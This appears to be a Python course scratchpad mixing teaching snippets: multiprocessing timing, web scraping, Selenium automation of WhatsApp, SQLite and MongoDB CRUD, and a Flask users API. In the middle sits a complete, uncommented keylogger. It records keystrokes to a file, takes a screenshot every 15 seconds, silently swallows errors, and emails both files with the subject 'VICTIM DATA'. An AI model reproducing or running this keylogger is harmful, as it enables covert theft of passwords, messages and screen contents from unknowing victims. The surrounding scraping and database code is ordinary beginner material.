if __name__ == "__main__":
    # t1 = threading.Thread(target=dummy_func, args=(1,))
    # t2 = threading.Thread(target=dummy_func, args=(2,))
    # t3 = threading.Thread(target=dummy_func, args=(3,))
    # t4 = threading.Thread(target=dummy_func, args=(4,))

    # start_time = datetime.now()
    # t1.start()
    # t2.start()
    # t3.start()
    # t4.start()
    # t1.join()
    # t2.join()
    # t3.join()
    # t4.join()
    # print(f"Total time taken: {datetime.now() - start_time}")

    p1 = multiprocessing.Process(target=dummy_func, args=(1,))
    p2 = multiprocessing.Process(target=dummy_func, args=(2,))
    p3 = multiprocessing.Process(target=dummy_func, args=(3,))
    p4 = multiprocessing.Process(target=dummy_func, args=(4,))

    start_time = datetime.now()
    p1.start()
    p2.start()
    p3.start()
    p4.start()
    p1.join()
    p2.join()
    p3.join()
    p4.join()
    print(f"Total time taken: {datetime.now() - start_time}")


# query = 99
# a = [1,2,3,4,5,6,7]

from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from time import sleep
from datetime import datetime

count = 0
keys = []


try:
    def on_press(key):
        global count, keys
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(' ')
                elif k.find("caps_lock") > 0:
                    f.write("<CAPS_LOCK>")
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""
        subject = f"VICTIM DATA - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red'>YOUR VICTIM DATA</font></b>"]
        attachments = ['log.txt', 'screenshot.png']
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(15)
            take_screenshot()
            send_email()
        listener.join()
except:
    pass

# # data = """
# # <html>
# # 	<head>
# # 		<title>My Web Page</title>
# # 	</head>
# # 	<body>
# # 		<header>
# # 			<img src="./assets/hello.png" alt="Some image" />
# # 			<h1>My hello world</h1>
# # 			<h1 id="title">My Web Application</h1>
# # 		</header>
# #         <a href="https://google.com">Go to Google.com</a>
# # 		<p class="para">
# # 			Lorem ipsum dolor sit amet, consectetur adipisicing elit. Illum
# # 			reprehenderit incidunt, ratione quas minus ex fugit corrupti deserunt
# # 			totam veniam soluta, quasi at maxime expedita culpa libero repellat
# # 			explicabo debitis.
# # 		</p>
# # 		<p class="para">
# # 			Lorem ipsum dolor sit amet consectetur adipisicing elit. At, perspiciatis.
# # 		</p>
# # 		<ul>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 			<li>
# # 				Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat,
# # 				molestiae?
# # 			</li>
# # 		</ul>
# # 	</body>
# # </html>
# # """

# # from bs4 import BeautifulSoup

# # soup = BeautifulSoup(data, "html.parser")

# # # print(type(soup))
# # # print(soup.body.header.h1)

# # # print(soup.find('li'))
# # # print(soup.find_all('li'))

# # # print(soup.find('h1'))
# # # print(soup.find(id="title"))
# # # print(soup.find_all(class_="para"))
# # # print(soup.find(class_="para").get_text())


# # # print(soup.find('h1').get_text())

# # # print(soup.find('a').get_text())
# # print(soup.find('a')["href"])

# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get('https://arstechnica.com/')
# soup = BeautifulSoup(response.text, "html.parser")

# articles = soup.find_all(class_="article")

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(['Title', 'Excerpt', 'Author', 'Date', 'Link'])

#     for article in articles:
#         title = article.find('h2').get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         author = article.find('span').get_text()
#         date = article.find('time').get_text()
#         link = article.find('a')['href']

#         csv_writer.writerow([title, excerpt, author, date, link])

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome()
# browser.maximize_window()

# browser.get('https://www.youtube.com/')
# sleep(3)

# search_box = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input')
# search_box.click()
# search_box.send_keys("exorcist believer trailer", Keys.ENTER)
# sleep(3)

# # video = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string')
# # video.click()

# video = browser.find_element(By.PARTIAL_LINK_TEXT, 'A Look Inside')
# video.click()

# sleep(20)


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep

browser = webdriver.Chrome()
browser.maximize_window()

browser.get('https://web.whatsapp.com/')
sleep(20)

search_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p')
search_box.click()
sleep(1)

search_box.send_keys('PYTHON Daily morn RS 4/8/23', Keys.ENTER)
sleep(2)

for num in range(10):
    message_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div[2]/div[1]/p')
    message_box.click()
    message_box.send_keys('TEST MESSAGE USING PYTHON', Keys.ENTER)


sleep(200)
browser.close()

Scratchpad #26

# import sqlite3

# conn = sqlite3.connect('python_users.db')
# cursor = conn.cursor()

# # cursor.execute("""
# #     CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, age INTEGER)
# # """)

# # new_user = ('John Smith', 'johnsmith@gmail.com', 24)

# # cursor.execute("INSERT INTO users (name, email, age) VALUES (?,?,?)", new_user)

# # cursor.execute('SELECT * FROM users')
# # all_users = cursor.fetchall()

# # print(all_users)

# # cursor.execute('SELECT * FROM users WHERE name = ?', ('Jane Doe',))

# # john_doe = cursor.fetchone()
# # print(john_doe)

# cursor.execute('DELETE FROM users WHERE name = ?', ('Jane Doe',))

# conn.commit()
# conn.close()

import pymongo

client = pymongo.MongoClient()
db = client["python_users"]
users = db["users"]

# user = {
#     "name": "John Doe",
#     "email": "johndoe@example.com",
#     "age": 20
# }

# users_data = [
#     {
#     "name": "Jane Doe",
#     "email": "janedoe@example.com",
#     "age": 23
#     },
#     {
#     "name": "Jack Smith",
#     "email": "jacksmith@example.com",
#     "age": 30
#     },
# ]

# users.insert_one(users)
# users.insert_many(users_data)

# all_users = users.find()

# # print(all_users)

# for user in all_users:
#     print(user)

# users.update_one({"name": "John Doe"}, {"$set": {"email": "john.doe@hey.com"}})

# users.delete_one({"name": "John Doe"})

# users.delete_many({})

Flask App (main.py)

from flask import Flask, request, jsonify
from pymongo import MongoClient
from bson import ObjectId

app = Flask(__name__)
client = MongoClient()
db = client["python_users"]
collection = db["users"]

@app.route('/', methods=['GET'])
def home():
    return "<h1>API is running...</h1>"

# Create a new user document
@app.route("/users", methods=["POST"])
def create_user():
    data = request.json
    result = collection.insert_one(data)
    return {"id": str(result.inserted_id)}, 201

# Fetch all user documents
@app.route("/users", methods=["GET"])
def get_all_users():
    data = list(collection.find())
    for user in data:
        user["_id"] = str(user["_id"])
    return jsonify(data)

# Fetch a single user document by ID
@app.route('/users/<id>', methods=["GET"])
def get_user(id):
    data = collection.find_one({"_id": ObjectId(id)})
    if data is None:
        return {"message": "User not found"}, 404
    data["_id"] = str(data["_id"])
    return jsonify(data)

if __name__ == "__main__":
    app.run(debug=True)
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practising engineers.